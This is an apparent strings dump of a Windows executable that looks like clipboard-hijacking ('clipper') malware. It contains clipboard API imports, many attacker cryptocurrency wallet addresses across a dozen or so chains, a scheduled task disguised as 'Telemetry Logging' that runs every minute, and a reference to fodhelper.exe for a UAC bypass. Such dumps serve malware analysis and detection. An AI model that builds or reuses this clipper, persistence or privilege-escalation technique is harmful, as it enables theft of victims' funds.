!This program cannot be run in DOS mode.
`.rdata
@.data
.reloc
XSVWjD_W3
SSSWhx;@
jD_f9>
QQSVWjl[
jl[j3X
"uZj0V
jcYjb[
uPj1Xf9F
nuRf9^
"u]j0V
"uZj0V
+ucjlXf9
uUjcXf9F
>auFjdXf9F
ru0j1Xf9F
j2ZjAY
eucf9V
u6jlXPV
uij1Xf9F
u9jlXPV
ufj3Xf9F
"uZj0V
"u]j0V
u6jlXPV
-u]jcXf9
uUjoXf9F
uLjsYf9N
mu<f9F
u0j1Xf9F
u9jlXPV
:usj23
LoadLibraryW
GetProcAddress
GetModuleFileNameW
CreateDirectoryW
GlobalAlloc
GlobalFree
GlobalLock
GlobalUnlock
LocalAlloc
LocalFree
lstrlenW
StrChrW
StrStrW
StrStrIW
StrToIntExW
PathIsDirectoryW
CoInitialize
HeapFree
CreateMutexA
CreateMutexW
GetLastError
SHGetFolderPathA
PathAppendW
StringCbPrintfW
memset
wmemset
memcpy
OpenClipboard
GetClipboardData
EmptyClipboard
SetClipboardData
CloseClipboard
.text$mn
.idata$5
.rdata
.rdata$zzzdbg
.idata$2
.idata$3
.idata$4
.idata$6
LoadLibraryW
GetProcAddress
WaitForSingleObject
CloseHandle
ExitProcess
CreateProcessW
CopyFileW
GlobalFree
KERNEL32.dll
SHGetFolderPathW
SHELL32.dll
0 0&0.030:0C0H0Q0V0^0c0k0p0y0~0
1#1)1/141:1@1E1K1Q1V1]1b1i1n1t1z1
2 2%2+21262<2B2G2M2S2X2^2d2k2
2!343Q3a3q3v3
4/5H5T5
5N6[6h6u6
6(757B7O7
8/8=8J8W8c8p8
9-9:9G9`9r9
:%:>:J:}:
;-;F;_;x;
<+<8<Q<]<|<
= =,=E=Z=h=u=
>%>1>u>
0"0:0D0J0Y0z0
0&1O1j1s1
1H2U2f2
DR3Q-H7XX-7JM7-SH2P
1L1rGHi38c61N79x5K8Ayy4cL7YhErFciG
3KAeovnQ6hSpnRiKbhx2GN5A6LLf1QEZkG
bc1qkmewmzz0dp9g04x5huur7y8dqcalt4gdwl75hj
LXur4C8P19hvFjWEyL9WdRA8SsGtCneYA3
MEovJ6Y9dg3rcVsk5as2hcbtS45FjTQ4oK
ltc1q8supkf67gdcwskgw2f0etpxpn8kxqdg7stp3qq
0x5F0eEC5dAa8453E14AE16504e06a5029bE67aCC1
42CCqRSE8ZxTkJ8zHXLcJLDvBhbogLpEyaGPdoYq4y3newaWBpb6sJoMYTZSSoVgWXQRufQTfrVMTAe7EeBWUcYk4nLpD4Q
84QkQPx5sDKM73uuQYZNRvKhiVd2wYjgKCtUuwfrMAELYWrAW6VxpewUxSJiVgNoVPbBMytTgjDVxBgSG2YSZivvBEbR4Pa
DEx111gptAm8UcQa14AUpknDAVs9qn6vc6
addr1qx0quzz692rqmelxlkmj2d4dy98jezkumq73d3u3h03wg6y7pcy9525xphn7dldhy5m26g209j9dekpazmrerwlzu35qrm8t7t
Ae2tdPwUPEZ5WdbBZcU6GY5BjthLGj7K8xng2a7cGKt7bU6QL3Ty4pViySM
Z1L1rGHi38c61N79x5K8Ayy4cL7YhErFciG
t1eDEfv4WWXo6hMQUcbDi59ESkdeSeKsg2Y
bnb1mdntljrtt4vwhljvxplh07p5ylpmxkc99v00zq
TBifnP6H8EF8REBJpcRgAMd4kaqWjS75nH
AJ1rF1jP6cjC4CHRii26s85MJCtCcNAdEm
cosmos1vm5u692wdrv2dejsx7f096s34yj2wtx3t6fk0t
HVH5wwWDb9iPyqN4b118fUa74idu9g3QSQW47dCtAM8a
5QCNRPCR4AHFTKLKO43SGNRSEPKDMFVPDNYVWRO6BU5EJ63MV3EYN34YSQ
kernel32.dll
Shlwapi.dll
ntdll.dll
Shell32.dll
Ole32.dll
User32.dll
\Microsoft\TelemetryServices
\fodhelper.exe
/C /create /F /sc minute /mo 1 /tn "
Telemetry Logging
" /tr "
C:\Windows\System32\schtasks.exe